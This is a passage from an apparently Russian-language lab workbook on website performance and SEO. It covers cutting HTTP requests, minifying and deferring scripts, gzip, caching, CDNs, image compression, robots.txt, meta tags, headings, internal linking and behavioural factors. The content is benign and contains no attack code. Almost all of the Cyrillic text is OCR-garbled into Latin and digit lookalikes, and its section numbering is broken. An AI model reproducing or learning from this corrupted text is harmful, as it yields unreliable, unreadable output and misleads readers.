[Tapa numHUX CEKyHJ BPEMEHHU 3arpy3kd caiTa yMEHBLIAIOT IIAHCHI 3aUMHTEPECOBATh MOCETUTENEH U
OCYIIECTBUTD MTPOJAXKH.

KISSmetrics mpoBena uccieoBaHue Ha TeMy TOT0, KaK CKOPOCTb 3arpy3KH caiiTa CKa3bIBaeTCs Ha TOBEICHUN
MOJIb30BATENEH U MOKYMAaTENeH:

e 47 % monp30BaTeNEN 0KUIAIOT, YTO CTPAHUIIA OTKPOETCS] MEHbIILIE YEM 3a 2 CEKYH/IbI;

¢ 40 % nonp30BaTenel 3aKpbIBAKOT CAUT, €CJIM OH 3arpy’KaeTcs J0JIblIe 3 CEeKyHI,

* 79 % mokynareseil, KOTOpble OCTAJIMCh HEAOBOJBHBIMU YA0OCTBOM caiiTa, ckopee Bcero, He OyayT

MOKYIIaTh YEPE3 HETrO B JabHEUIIEM;
e44 9% WHTEpHET-NOKyNaTelel pacCKaXyT CBOMM 3HAaKOMBIM O CalTax, KOTOpblE HX He
YAOBJIETBOPUIIH.

YckopeHHas 3arpys3ka cailTa 0cOOCHHO Ba)kHa JIJIsl TTOJIb30BaTENeH, 3aX0ASIINX Ha CAUT ¢ MOOMITBHBIX
YCTPOMCTB. A Tak Kak ceddac 1oJii MOOWJIBHOTO Tpaduka TOCTOSHHO pacTeT, TO Ha YCKOPEHHE Ha
MOOUIIBHOM HYKHO ClIeJaTh OCOOBIN aKIIeHT.

PaccmoTpuM criocoObl yCKOpeHuUst 3arpy3Ku caifta.

1. Coxkparutb yucino HTTP 3anpocos.

CornacHo uccienoBaHusiM KoMmnanuu Y ahoo, Gosipliast 4acTb BpEMEHH MPH 3arpy3Ke CTpaHUIIbl TPATUTCS Ha
3arpy3Ky u3o0pakeHui, paiiioB cTUICH U CKPUIITOB.

st 3arpy3ku kakzaoro Takoro daiina cozmaercsa ornensHbiii HTTP 3ampoc. Yem Gosibliie Takux 3ampocoB,
TeM OO0JIbIlIe BPEMEHH MTPOXOIUT 10 MOMEHTA MOJTHON 3arpy3KH CTPAHHUIIBI.

2. O6benuuuTh U MuHUGUIUpPOoBaTh CSS 1 JS-¢aitnsl. Camblil TPOCTON CIOCOO COKPATUTH KOJIUYECTBO
3ampocoB — 00bequHUTh M MuHUbHUIUpoBath (cxarb) HTML, CSS u JavaScript daiiner. [[ns atoro
OTKpbIBAEM JIF000I TEKCTOBBINM PelaKTOP, BCTABJISIEM B HET'O COJIEPIKUMOE BCEX HCIOIb3YyEMbIX CSS-(ailiioB B
TOM TOPSAJKE, B KOTOPOM OHHU IMOJKIIIOYaI0TCs B mabione. Jlanee, BOCIOIB30BaBUIMCH JTHOOBIM CEPBUCOM
muHuukanuu (Hanpumep, CSSminifier), cxxumaem koJl. B pesynbrare y HaC cokpaliaercst 4ucio 3arpocos,
a 3 (UHATHHOTO KOJa YAISIOTCS HE3HAUUMBIE JIJIs MHTEPIIPETaTopa CUMBOIIHI (Tpo0esbl, Tabbl, IEPEHOCH
CTPOK U T.IL.).

3. PeanuzoBatk acuuxpoHHyto 3arpy3ky CSS u JS.

CSS ¢aiinsr 3arpyxkatorcss B HTML nocpenctBom BctaBku Tera. OHAKO HE BCE KYCKHM KOJAa HACTOJBKO
KPUTHUYHBI, UTO UX CIEAYET 3arpyartb cpa3y. Hanpumep, Ha cailTe €CTh pEAKO HCIOJIb3YEMbIII KOMIIOHEHT



CpaBHEHHMsI TOBAapoOB. MIMeeT cMbIC MOArpYyKaTh CTUIIM M jS-KOJ AJIE HETO HETIOCPEICTBEHHO B TOT MOMEHT,
KOT'JIa TIOJIb30BATENH 3aXOTSIT BOCIOJIB30BATHCS TAKUM (DYHKITMOHATIOM.

4. HacTtpouts 0T10KEHHYI0 3arpy3Ky javascript-koja.

B crangaptHOoM pexume javascript daitnel npepeiBator napcuar HTML-gokymenTa 1o Tex mop, moka Bce
Takue (aisapl He OyAyT MOTYUYEHBI U BBIIOJTHEHBI.

Yacrto Tpedyercs BCTaBUTh KaKOW-HUOYIh HE 0CO00 3HAYMMBIN BUKET COLMATIBHBIX CETEH B MOBAJ cailTa.
Jly1s Hac HeBa)KHO, MOSBUTCSA JIM OH Ha CTPAHMIIE Cpa3y UJIH CILyCTS Mapy CEKYH]I.

YTo0BI peain30BaTh OTIOKCHHYIO 3arpy3Ky, a TouHee 00pabOTKy TaKOro CKPHIITa, HEOOXO0IUMO IIPOIHUCATh
atpudyT defer Tery <script>.

3. VYckoputs nonyuyenue nepsoix 6aitos (TTFB).

TTFP — nepBsiii 0alT, MOJYyYEHHBI OT CTpaHUIBI. Bpems mosrydeHus: Takoro 6aiTa — oauH u3 (HakTopom
PaHXUPOBAHMSI CTPAHMIIBI TIOMCKOBUKAMH, TPEOYIOIHIA K ce0¢ BHUMAHWSL.

6. CokpaTuTb BpeMsi OTBETA cepBepa

HeobxomuMo mpoBeCTH aHamu3 BCeX 3ampocoB K 0Oa3e maHHBIX. HalWTh W UCHpPaBUTH OIIHUOKH.
OnTuMHU3UpOBaTh KOJ 3alpocoB K 0a3e JaHHBIX W M30aBUTHCSA WM MepenucaTh IUIaruHbl, HAIMCAHHbBIE
MaJIOOTIBITHBIMU Pa3pa0OTUYNKAMHU.

7. Bri6paTh ontuManbHbIe ONMIKMK XOCTHUHTA MO 3alIPOCHI MOJIb30BaTENEH.

C pocToM 4mcia mojib30BaTelei CKOPOCTh paboThI caiita OyaeT MeaieHHO nanath. [loaToMy oueHb BaXKHO
MPAaBUJIBHO MOA00PATH TUI U OMIIUU XOCTUHTA.

JInst HeOONBIINX CAaWTOB KOMIAHUH W BHU3UTOK IOJONACT CaMblii IPOCTOM BHPTYyabHBIM XOCTUHT (shared
hosting). Jlns maTEpHET-Mara3uHoB, noptanoB — VPS/VSD. Jlyis caliToB ¢ 60JIBIION MOCENaeMOCThIO HY)KHO
CMOTpPETH B CTOPOHY BbIZICNIEeHHBIX puzndeckux cepBepoM (Dedicated server).

8. [IpoBecTn ananus coxaTusi CTPAHMII.

B nporokosne HTTP, wucnosnb3yeMOM B MHpPOBOW IMAYTHHE, MPEIYCMOTPEHA BO3MOXHOCTb CXKaTHS
nepegaBaeMoil MHGoOpMauu i1 SKOHOMHHM Tpaduka M YyBEJIWYEHHs] CKOPOCTH 3arpy3KH JIaHHBIX.
BoapImMHCTBO COBpEMEHHBIX Opay3epoB MOACPKUBACT METOJ EZIp.

[TpoBepuTh, BKIIOYEH JM y Bac Ha calTe gzip, MOXHO, BOCIOJIb30BaBIIMCH JIOOBIM MPEINI0KEHHBIM
MMOMCKOBHKOM CEPBHMCOM IIO 3aIpocy “gzip test”.

9. BxitounTh cxxaTtue CTpaHuil.

He Bcerma Hy»HO mpu KaKJOM OTKPBITUM CTPAHHIIBI TEHEPUPOBATH THICSUY 3allpOCOB K 0a3e JTaHHBIX.
JlocTaTouHO COXPAaHUTH 3Ty HHGOPMAIUIO B CTATHUHOM (haiiie 1 HaCTPOUTh €€ aBTOMAaTUYeCKOe OOHOBIICHHE
pa3 B roa. Caenarh 3TH HaCTPOMKH MOXHO JIMOO B HACTPOMKax MCHoJb3yemol Bamu CMS ymbo B (aiine
.htaccess.

10. Cxath Bce M300paKCHUS U BUJICO.

Ecnu Ha caiite pacnonaraeT 00JblI0€ KOJIMYECTBO U300paKEHUI U BUJIE0, UMEET CMBICI CxaTh ux. CuenaTth
3TO MOXKHO JINOO B JIFOOOM TpapuueckoM peaakTope, MO0 B OHJIAWH-CEPBHCAX, KOTOPHIC B MHTCPHETE B
nocJieiHee BpeMsi CTAHOBUTCS Bce OOJIbIIIE.

1. UcnonszoBats CDN.

CDN (ummm Content Delivery Network) — 310 ceth gocTtaBku KOHTeHTa. CaliT pa3MeniaeTcsi Ha cepBepax,
HAXOJISIIUXCS B PA3IMYHBIX MECTaX MUpa. B 3aBUCIMOCTH OT TOTO, T/I€ HAXOUTCS KOHEYHBIH ITOJIb30BATEIIb,
nH(GOPMAIIMIO OH IMOJIyYaeT C TOTO JIU HHOT'O CepBepa — JIYUIIEro Mo KOMIUIEKCHOMY MOKa3aTesio, B KOTOPOM
BaXHYIO POJIb UTPAET reorpaguaeckoe MoJ0KEHUE.

Ucnonb3oBanne Bo3moxkHOcTell CDN He CHJIBHO yJapuT MO KOIIEIbKY, HO BHECET BECOMBIM BKJIAJ B
KOHEYHYIO 11eJ1b. TeMm 0oJiee B paMKax TeXIOICPKKHA MbI TOAPOOHO pacCKaKeM, KaK MOJKITIOUUTHCS K CETH
MaKCHMaJbHO BBITO/IHO.

12. Hcronp30BaTh 00JI1aUHBIC CEPBUCHI.

JlaHHBIN MYHKT KacaeTcsl BUJIEO M JIPYTHMX OOJBIIMX IO BeCy MaTepuasnoB Ha caiite. UToObl He 3arpyxarb
JUIIHUN pa3 Balll CEPBEP, TAKUE TOKYMEHTHI )KeJaTeIbHO pa3MeniaTh B 00JIAYHBIX CEPBUCAX.

13. Cokpartutpb yucio inline-CTHIICH.

Bec crpaHuilbl NpU KMCHOJIB30BaHUM inline-CTHIICH yBEIMYHMBACTCSA, CKOPOCTh 00pabOTKH Opay3epom
yMmeHbInaercs. [IpaBunpHee UCoNb30BaTh CSS-KIacChl.

14. Peanu3oBaTh OTI0KEHHYIO 3arpy3Ky H300paKeHul, BUIcO, iframe 1 KOHTCHTAa.

Eciu Ha cTpanune 060iblIoe KOJUYECTBO TSAKEIOBECHBIX DJIEMEHTOB, TO MMEET CMBICH 3arpyaTb HX
HETIOCPE/ICTBEHHO Tepe] MOMEHTOM HMX UCHONb30BaHUs. CaenaTh 3TO HYXHO s M300pakeHUM, BUJEO,
iframe, a ©HOT 1A W JUTSI TEKCTA (HApUMep, B CIydae caidTa OHJIAMH-ONOIMOTEKH ).

15. [IpoBecTn ananus3 KoJa U COKPATUTh YHCIIO UCIOJIb3yEMBIX IUIATMHOB.



OdeHb 4acTO HEOMBITHBIE Pa3pabOTUMKU Ui peaar3alii OJHON eJMHCTBEHHON BCILIBIBAIOIICH MOJCKA3KU
Ha CaiiTe MOATPYXAIOT IENbIM IUIArWH, UCIOJB3Yys OJHY M3 COTEH BO3MOXXHOCTEH OMOIMOTEKH, TO €CTh
CTPEJSIOT U3 MYLIKU IO BOPOOBSM. A €CJIM 3TOT IUIaruH UCIIONIb3YyeT Apyrue OUOIMOTEKH (3aBUCUMOCTH), TO
Ha caiiTe MOSBIAETCS OrpOMHAas Kydya HEHCHOJb3yeMoro koja. CTOUT MPOBECTHM aHAIM3 KOJAA caiWTa u
YMEHBIIUTh YHUCIO PEIKO HCIONb3yeMbIX IUIaruHOB. HampuMep, BCIUIBIBAIONIYIO MOJCKA3Ky MOXKHO
peann30BaTh, HAMMCAB HECKOJILKO CTPOK Ha YncTO Javascript 1160 BooO1e peann3oBas 3To cpeactBamu CSS.
16. YMEHBUIUTD YHCIIO PEAUPEKTOB.

be3 peaupexToB yacto He 0bokTHCH. HanpuMep, ecii y HaC U3MEHHJIICS aJIpec CTPAHUIIBI, IPOIMUCHIBACTCS
301 penupexT, YTOOBI MOJIL30BATEIN CMOTJIN OTKPBITH CTPAHUILY 10 CTAPON CChUIKE (B MOMCKOBUKAX CCHUIKH
OOHOBIIAIOTCS HE cpazy). OaHaKo KaKAbld TakoW pPeAMPEeKT MPWIMYHO YBEIWYMBAET BPEMs 3arpy3Ku
ctpanulibl. Ecnu 1-2 peanpekTa eiie no3BoIUTeNbHO, TO O0JIbIIEE YUCIIO KpalfHE HEraTUBHO CKa3bIBACTCs Ha
CKOPOCTH 3arpy3KH.

17. CoKpaTuTh YKCIIO BHEIIHUX CKPHUIITOB.

Ho6apnenne kuomnku “Tlogenuthcs” W T.I. B PA3IUYHBIX COLICETSX MOIKIIOYAET BHEIIHUE CKPUIITHI
Bxonrakre, Facebook, Instagram u T.1. DT0 1omoiaHUTENbHBIE 3aIIPOCHI K pa3HbIM cepBepaM. Heobxonumo
KaK MHHHMYM Peaju30BaTh UX OTIOKEHHYIO 3arpy3Ky. OHaKo OBIBAIOT CUTYaIlMH, KOTJa 3TO HEBO3MOXKHO.
Hanpumep, MHOTHME HCHONB3YIO BHEIIHWE CKPUIITHL, KOTOpble AO00ABISIIOT HA CAlWT HOBBIE HIPUPTHI
(mampumep, Google). HecmoTpst Ha To uto cam Google mpemynpexaaer, HACKOJIBKO CHUKAETCSI CKOPOCTh
3arpy3KH caiTa, MHOTHE HEONbITHbIE pa3pabOTYUKU JOOABISIOT WPUPTHI HA0OYM, paju OJHOTO 3arojOBKa
Ha KaKOU-TO peako mocemaeMoi crpanuie.llostomy, rae 3T0 BO3MOXKHO, CTapalTech MCIOJIb30BaTh
JIOKaJIbHbIE CKPUIITHI, 8 KOJIMYECTBO BHEUTHUX COKPATUTE 10 MUHUMYMa.

18. [TpoBectu ayuT OBICTPOICHCTBUS MOOMIHLHON BEPCHH CaiTa.

C nomomsto cepuca Google PageSpeed Insights MoXxHO TIpoBeCTH OHJIAH-ayAUT KaK JECKTOITHOW BEPCUHU
caifTa, Tak 1 MOOMIBLHOM.

19. [TocTosHHO ClIeIUTH 32 CKOPOCTHIO 3arpy3KHU CaifTa.

3apanmne Ne 1. [Ipoananu3upoBaTh BpeMs 3arpy3KH Mpe/iI0KEHHOTO CanTa.

3apanme Ne 2. [IpejioKuTh U pean30BaTh CIIOCOOBI YCKOPEHHUS 3arpy3KH MPe/IJI0KEHHOTO CanTa.

JlaGopatopnas paoora 20. «IIpoBenenue BuyrpenHeir SEOQ onTumusanus caita

Lenb: monyyeHne HaBBHIKOB NpoBeeHUsl BHyTpeHHel SEO ontumuzanuu caifra.
XOJl PABOTHI:
Teopemuueckue ceedenusn
Buytpennsis SEO ontumu3zanus caiira.
BHyTpeHnHsAs onTtumusanusa caita — AEHCTBUSA, IPOBOJAUMBIE HAJ CAUTOM C LEJNbIO MOBBICHUTh MO3WULIMHU
CTpaHUIl B TOUCKOBBIX CHCTEMAaX IO 33/IaHHOMY CITUCKY KJIIOUEBBIX (pa3.
SEO-onmumuzayus catuma

1. Co3paiiTe KOppeKTHBIN robots.txt.
Robots.txt — TEKCTOBBII TOKYMEHT, PACIOJIOKCHHBIH B KOPHEBOM Karajore cairta. B Hem yka3aHbl
MHCTPYKIMU O TOM, KaKM€ CTPaHMIbl PAa3pelIeHO HHJIECKCUPOBATh IOMCKOBBIM CHCTEMaM, a KaKHE HeT.
Hanuuue robots.txt He 00s3aTeNbHO U €r0 OTCYTCTBHE O3HAYaeT pa3pelieHHe WHISKCUPOBAThH CalT 0e3
orpannueHuii. KoppektHslii robots.txt MOMOMXET MOMCKOBBIM CUCTEMaM OBICTpEE U MOJIHEEe UHAECKCHUPOBATh
Cailr.

2. YKaxuTe MpaBWIbHBINA TEr <meta name="robots” content="...”>,
Merta-teru Haxonsarcs B pazaene <head> HTML-kona nokymeHra:
Merta-Ter <meta name="robots” content="""> yrpaBiseT HHICKCAIIMECH CTPAHUIIbI B TOMCKOBBIX CUCTEMaX.
OTcyTCTBHME 3TOrO MeETa-Tera O3HAYaeT pa3pellieHHe Ha HWHICKCHUpOBaHUE AOKyMeHTa. CrenuanbHbIe
3Ha4YeHMs aTpudyTa content MO3BOJISIIOT:

e content="noindex” — 3aNPETUTh UHIACKCAIIUIO TCKCTA,

e content="nofollow” — 3anpeTUTh MEpPexo/ Mo CChUIKaM Ha CTPAHUIIE.

3. UcknrounTe MosSIBICHHUE TyOJICH.
Jy0nu — oquHAKOBbBIE IO COJAEPKAHUIO JOKYMEHTBI, JOCTYIHbIE 10 AByM oTianyHbiM URL-aapecam.
Takue ctpanuisl co croponsl Annekca u Google MOryT OBITH TECCUMU3UPOBAHBI.
PacripocTtpaneHHass mpuuuHA TMOSBICHUS TyOneil — OTCYTCTBHE SIBHOTO YKa3aHHWS Ha TJIaBHOE 3€pKalo.
3epKajlamMM CUMTAIOTCS CaWThl, SBIIAIOLIMECS TOJHBIMM KONUSMM 10 KOHTEHTy. Tak, CTpaHHULbI
UHTEPHET-pecypca MOTYT ObITh JOCTYITHEI 110 aJpecy ¢ WWW 1 0e3 Hero, ¢ cdIeM “/”’ B KOHIIe Win 0e3 Hero.

4. TlpokauaiiTe AU3aliH U 103a0MITHTH.



[TouckoBbie CHCTEMBI TMPHUAAIOT OOJBIIYIO BaXXHOCTh MOBEJACHUECCKUM (haKTOpaM, KOTOpPHIE OIICHUBAIOTCS
MOKa3aTesIMA — OTKa3bl, BpeMs Ha caiite, rimyOmHa mpocmorpa. KadecTBo nu3aifHa v 103a0WIMTH CHIIBHO
BIIMSCT Ha 3HAYCHHS JTHX IOKa3aTenei. J(u3aiiH JoKeH OBITh BHU3YyalbHO TNPHUATHBIM, WHTYHUTHBHO
MOHSITHBIM ¥ YAOOHBIM JJIsI TOCETUTENICH.

5. TloBBICKTE CKOPOCTH 3arpy3KH.
OTAMYHBIM IOKA3aTENIEM MOKHO CUUTATh, €CJIM BPEMSsI 3arpy3KHU HE MPEBBIIIACT 2 CEKYH/I, IPUEMIIEMbIM — JI0
5 cexyna. Ecnu caiit 3arpyskaeTcs CIMIIKOM MEIJIEHHO, CKOPEE BCETO, CIICYET BBIMOIHUTh 3TH ICUCTBUS:

® 1ICITOJIH30BaTh BRHICOKOCKOPOCTHOW XOCTHHT

¢ BEIOpaTh ONTUMAJIBHBIE TApaAaMETPhI H300PaKEHUH;

® ONITUMU3HPOBATH KOJI;

e MunumusupoBath HTML, CSS, JS;

® [TOIKJTFOYUTH MUHUMAJILHOE KOJTMYECTBO BHEIIHUX (halJIOB;

® BKJIFOUUTH C)KaTHE JIaHHBIX HAa CEpBEpE.

6. Ynenure sBaumanue SMO.
Social Media Optimization (SMO) — onTuMHu3anus 1)1 COLMAIBHBIX ME/IHa, KOTOpas B 1[EJI0M 3aKJIF0YACTCS B
MOBBIIICHUH YJ100CTBa UCIIOIB30BAHMS CaiiTa MOCETUTEIISIMHA U3 COIIMAIIBHBIX CETEH.
Ha npakTtuke 3T0 03Ha4aeT ciaeayromue 1eHCTBUS:

® ICIIOJIL30BaHHE KHOMOK “TIOJIENUThCS

® BHEJIPEHNE MUKPOPA3METKH;

® yKa3aHHWE CChIJIOK Ha MPEJICTABUTEIIHCTBA B COITMAIBHBIX CETSX.
CMBICII HaIW4YMs KHONOK “IONENMThCI” B TOM, YTOOBI IIOJB30BATCII0 OBLIO JIETKO IHOACIUTHCS
MOHPABUBLIEMCS MaTEPUAJIOM HAa CBOEU TMYHOU CTPAHULIE B COLUATIBHOM CETH.
ConuanbHble cetu mnopajepkuBaroT npotokon Open Graph. MukpopasMmeTka yIpaBiIeT 3arojioBKOM,
U300paKeHHEeM, OTICAHUEM U CCBUIKOM, KOT/Ia CTaThIO CaiiTa pa3MeIIaloT B COIUAIBHOM CETH.
Ecnu BeI mMeeTe inuHbIe TPO(UIN B COMATBHBIX CETSIX WU COOOIIECTBA, TO YKAKHUTE UX aapeca Ha CBOEM
caire.

7. cnionp3yiTe HHCTPYMEHTHI TIOMCKOBBIX CHCTEM.
Onmumuzayus cmpanuy cauma
[enrsro SEO ontummu3aiiuy CTpaHUIIBI SIBISETCS MAKCUMAIbHOE TTOBHIIIICHUE €€ PEJIEBAHTHOCTH B IIOMCKOBBIX
CHUCTEMaxX M0 KOHKPETHBIM KITFOUEBBIM (ppazam.

1. Ucnionw3yiiTe kimtoueBbie ppasbl B <title>.
OTtoOpaskaeTcsi Kak 3aroJIOBOK BKIQJKU Opay3epa U MOXKET ObITh UCTIOJB30BaH B pe3ysbTaTax Beigaun. [Ipu
COCTaBJICHUH 3aroJIOBKa CICTYyHTE 3TUM PEKOMEH IAIIHSIM:

® HauMHaTE 3ar0JI0BOK C OCHOBHOM KIIIOUEBOM (pasbl;

® HE MPEBBINIANTE 3HAaUeHUE JUTMHBI 3aroyioBka B 70-80 CMMBOJIOB;

® 1CIIOJIb3YITE YHUKAIbHBIE 3aT0JIOBKHU B MPEJEIaxX CBOEro CaiTa;

® COCTaBJISINTE TPAMOTHBIN M OCMBICIICHHBIA TEKCT 3ar0JI0BKa;

e He BKJIIOYAMTE B 3arojIOBOK 3HAKU 3aBEpIICHUS MpeaokeHus — .!? 3ameHsiiTe ux Ha : — 1 |
CoaepkUMOoe 3TOTO Tera He MPUCYTCTBYET HA CTPAHUILIE.
Ha pamxupoBanue mera-Ter BiauseT ciado. [IonckoBbie cUCTEMBl MOTYT MCIOJIB30BaTh COACPKAHUE ITOTO
Tera B CHHUIINIETE Ha BbIJa4e, YTO OKA3bIBACT CYIIECTBEHHOE BIHMsSHUE Ha KiIukabenbHOCTh (CTR).

2. IlogroroBbte onucanus s description.
Merta-Ter <meta name="description” content="""> pacnojoxeH B cekiiuu <head> HTML-ko1a 10KkyMeHTa.
CTpyKTypUpPYUTE COJIEPKUMOE.
®dopmat nmogaun nHHOPMAIIUY BIHUSET HA yI00CTBO €€ BOCTIPUSATHS YeIOBEKOM. [[I0MCKOBBIE CHCTEMBI YMEIOT
pacro3HaBath (¢opMar mnoxadyun HHPOpPMANUM, aHATU3UPYS KoA BepcTku crtpanuibl. B HTML-kone
CYIIECTBYIOT Pa3IUYHBIE TETH JJIsi BEPCTKH COOTBETCTBYIONIUX OJIOKOB:

e a03arbl <p>

® 3aroJIOBKH U To13aroioBku <hl1>...<h6>

® MapKUpPOBAaHHbBIE 1 HYMEPOBAaHHbBIE CITUCKH <ul>, <ol>

e Ta0IHIEI <table>

e 300paxeHus <img>
Crapaiitech pa3HOO0OpPa3UTh BEPCTKY U YMECTHO UCTOIB30BaTh MOJOOHBIEC OJIIOKH.

3. OnTUMHU3UPYITE TEKCT.



[Ipy HanmucaHuM TEKCTa, B MEPBYIO O4Yepedb, CIEIyeT OPUEHTHUPOBATHCS HA JIOAEH U 3a00TUTHCSI O
CMBICJIOBOM HAIlOJHEHUM, & YK€ MOTOM ONTHUMM3UPOBATH €ro NIl MOMCKOBBIX CUCTEM. JlemalTe TEKCThI
MHTEPECHBIMU U JIETKUMH U1 yTeHusl. [Ipy onTUMHU3anum TeKCTa yUYUThIBAaUTE CIEAYIOIUE PEKOMEHIAINH:

® IICTIOJIb3YITe OCHOBHYIO KITIOUEBYIO (pa3y B MepBhIX 2—3 ad3anax;

® JICTIOJIB3YITE HEPAPXUIO 3aI0JIOBKOB U I10A3aTrOJIOBKOB:

® OCHOBHYIO KJIIOUEBYIO (ppa3y BKIIIOUHUTE B TIIaBHBII 3arojoBokK hl;

e He cozzlaBaiiTe 0osiee 0IHOTO IJIaBHOTO 3aroJIoBKa Ha CTPAHUIIE;

® JIONOJIHUTENbHBIE KITI0UeBble (pa3bl BKIIIOUANTE B MoA3aroioBku h2...ho6;

® pa3MelIaiTe TEKCThl yMECTHOIO 00beMa:

e kommepueckue: 2000-3000 cumBoOJIOB;

e uadopmarmonsie: ot 5000 cUMBOJIOB;

® PaBHOMEPHO paclpeaessiTe KitoueBble ¢ppas3bl M0 TEKCTY, U30eraiiTe UX CKOIJICHUS B OJTHOM YacTH.
Kpome 3T0ro Bai TeKCT J0JIKEH ObITh YHUKAJIBHBIM U HE COJEpKaTh rpaMMaTHieckux omuook. IlomuuTe,
YTO 32 YaCTO€ BKIIOYEHHE KIIFOUEBBIX ()pa3 B TEKCT, MOMCKOBBIE CUCTEMBI MOTYT HAJIOXHTh CAaHKIUU 32
nepeonTUMu3anuo. ONTUMaibHOE KOJMYECTBO BXOXKJIEHUN B MPOLEHTaX OT 00miero o0bema TekcTa Ui
Ka)KI0r0 3a1poca CBOE. Y3HATh €r0 OPUEHTUPOBOYHO MOXKHO IIPOAHAIIU3UPOBAB KOHKYPEHTOB B TOII-S.

4. OnTUMU3NPYITE N300paKEHUS.
KauecTBeHHBIN TEKCT YaCTO COMPOBOXKAACTCS WIIIOCTPALUMsIMU, KaK, HAIpUMEp, 3Ta CTaThsl. DTO HPABUTCS
M0JIb30BaTENsIM, HO B 3TOM Takke ecTb Hekoropble npobiemsl ans SEO. JloGaBnss m3oOpaxkeHus Ha
CTpaHUIly, YBEIMYHBAECTCS €€ OOLIMii BeC M TeM CaMbIM CHIDKAETCS CKOPOCTh 3arpy3ku. BriOupaiite
KOPPEKTHBIN (opMaT U pa3Mep U300paKeHUsI — OT ITOrO 3aBUCHUT pasmep ¢aitia. [Ipu BbIOOpe dopmara
cleayiTe CIeAyOIIUM MPOCTBIM MIPABUIIAM:

® eCIIi ATO aHUMaIus — .gif;

® ecii HeOOXOMM MIPO3pavHbIid POH — .png;

® B OCTAJIBHBIX CIIy4asx — .jpg.
Br16op pasmepa: B o01ieM ciyyae Bec M300pakeHus: TeM Oosblie, ueM Oonbie ee pa3mep. Ecnu B cTatbe
pasmeniaercs kaptuHka pazmepomM 400200 nukcesnei, To He HY>KHO JJISI TUX LeJIel KCII0JIb30BaTh OPUTMHAI
B pazMepe 1600x800 u cxxkumath ero B opaysepe 10 400x200. B TakoM citydae B rpauuecKOM peaaKTope
cieayeT M3MEHHTh pasMmep a0 Heobxommmoro 400%200. M3o0pakeHHs Ha CTpaHUILy T00aBIISIFOTCS C
MOMOIIIBIO TeTa <img>, KOTOPBI UMeeT akTyanbHbIe it SEO aTpulyTh:

e STC — BKJIIOYAET Ha3BaHUe (aiina;

e alt — onrcaHue, KOTOPOE MOSIBIISIETCS ITPU HEBO3MOXKHOCTH 3arpy3UTh KapTHHKY;

o title — BcrTBIBarOIIas MO/ICKA3Ka, MOSIBIIAIONMIASACS MTPU HaBEICHUH.
[Ipu BbIOOpe Ha3BaHus (ailna ¢ u300pakeHUEM OTAaBaiiTe MNPEANOYTEHHE JIAKOHUYHOMY BapHaHTy
OMHCHIBAIOIIEMY CYTh (haiina. B atpubyte alt Bkimtouute kpatkoe onucanue 10 10 cioB TOro, 4T0 UMEHHO
MOKa3aHO HAa KapTUHKE.

5. cnonb3yliTe BHYTPEHHIOKO MIEPEIINHKOBKY.
BHyTpeHHssI TEpeNTMHKOBKA — 3TO CCBUIKM MEXAY BHYTPEHHMMH CcTpaHunamMu. Ha KpymHBIX caiftax
OCHOBHBIN 3(h(DEeKT OT MEePETMHKOBKY 3aKII0YaeTCs B IIepepacipeie]ICHUH Beca CTPaHUI] B MOJIb3y Hanbolee
BaXXHBIX. JTO MO3BOJISIET UM HECKOJIBKO JIy4llle paHXHpoBaThcs. Ha HeOonbIInX miomaakax Takoi apgexr
Maj03aMeTEeH, HO B 3TOM Clly4ae MepeIMHKOBKA TOXKE UTPAET BaXKHYIO pojb. [Ipu ymMecTHOM HCOIb30BaHUN
CCBUJIOK BHYTpPHU CTaTel MOJIb30BaTeNb OyAET NePEXOUTh [0 HUM U IPOBOAUTH O0JIbIIIE BpEMEHU Ha pecypce,
yIiydiasi moBefeHueckue pakTtopsl. PacpocTpaneHHbIe BUABI IEPEIMHKOBKH — PeKOMEHaTeNIbHbIE OJIOKHU U
KOHTEKCTHBIE CCBHLIKH.

6. 'paMOTHO IPUMEHSINTE UCXOJAUIUE CCHUIKH.
CymiecTByeT MHEHHE, UYTO HEKEJaTeIbHO CTaBUTh MCXOJSILIME CChUIKM Ha BHEIIHHE pecypchl. B cpene
ONTUMHU3ATOPOB €CTh pa3jIW4Hble ApPryMEHThl 3a M MNPOTHB. VCXOAsIIMe CChUIKM Ha AaBTOPUTETHBIE
TEMaTUYECKHE IUIOIAKU [TIOMOTaloT B MPOJBMKEHUH. TaKkue CCbUIKU MO3BOJIAIOT TOMCKOBUKAM MPaBUIBHO
OTIpeAeIUTh TEMAaTUKY CChUIAOIIErocs caiita. KpoMe 3Toro Takue CChUIKU MPUOABISIIOT aBTOPUTETHOCTD U
BauieMy pecypcy. Mcxoasmume cchUlKi Ha CIIaMHbIE PECYpChI ClielyeT n30eratb Ui UCIOIb30BaTh Ui HUX
atpuOyT rel="nofollow”. Takue cCbUIKK MOTYT MOSBIATHCS, HAIPUMEDP, B KOMMEHTaPHUSIX.
Bxurouaiite B cTaThbl UCXOJSIINE CCHUIKM Ha aBTOPUTETHBIE TEMATUYECKUE TUIOIIAIKH.
3apanue Ne 1. [IpoBenure SEO-onTuMH3aLKIO MPEI0KEHHOTO CaifTa.



JlaGoparopHas padora 21. «Texuuueckasi ONTUMHU3ALMS, JONOJHUTEIbHbIE HACTPOMKI
Llenb: nonmyyeHre HaBBIKOB TEXHUYECKOW ONTUMU3alUN CANTOB.
XOJl PABOTHI:
Teopemuueckue ceedenusn
TexHuueckas ONTUMU3ALMS CAaTOB. TeXHUYECKHE XapaKTEPUCTUKU CalTa:
— ¢aiin Robots.txt (mpUCyTCTBYT Jint 3TOT (haiin);
— Hajuure omuoku «Googlebot He MOXeT Moay4nTh 10CcTym K daiinam CSS u JS Ha caiitey;
— CKOPOCTb 3arpy3Kd CTPaHUII;
— ONTUMU3ALIUA 1101 MOOUIILHBIE YCTPOMCTRA;
— BanuaHocth HTML-kopa;
— OUTbIe CCHUIKM (HATMYUe OUTBHIX CChIJIOK HETATUBHO CKA3bIBACTCS HA MPOABIKEHUN );
— nyOJIMPOBAHHBIN KOHTEHT.
3amanue Ne 1. [IpoBenuTe TEXHUYECKYIO ONITUMU3ALMIO TTPEAJIOKEHHOTO CalTa.

JlaGopaTtopHas padora 22. «Yiiy4ylieHre noBeaeH4IecKuX GaKkTopony»
Lenb: momyyeHne HABBIKOB YIIyUIICHHUS MOBEICHUECKUX (DaKTOPOB.
XO/J PABOTHI:
Teopemuueckue ceedenus
Yayuwenue noseoenueckux gpaxmopos
[ToBenenueckne GakTOpbl — MOKA3aTENN, XapaKTEPHU3YIOIIE MTOBEICHHUE JII0/IeH Ha BallleM caiire.
[1® yuyutbIiBatoTCA MOMCKOBBIMU CUCTEMAMH U BIIMSIOT Ha paH)KUPOBaHHE CaiiTa.
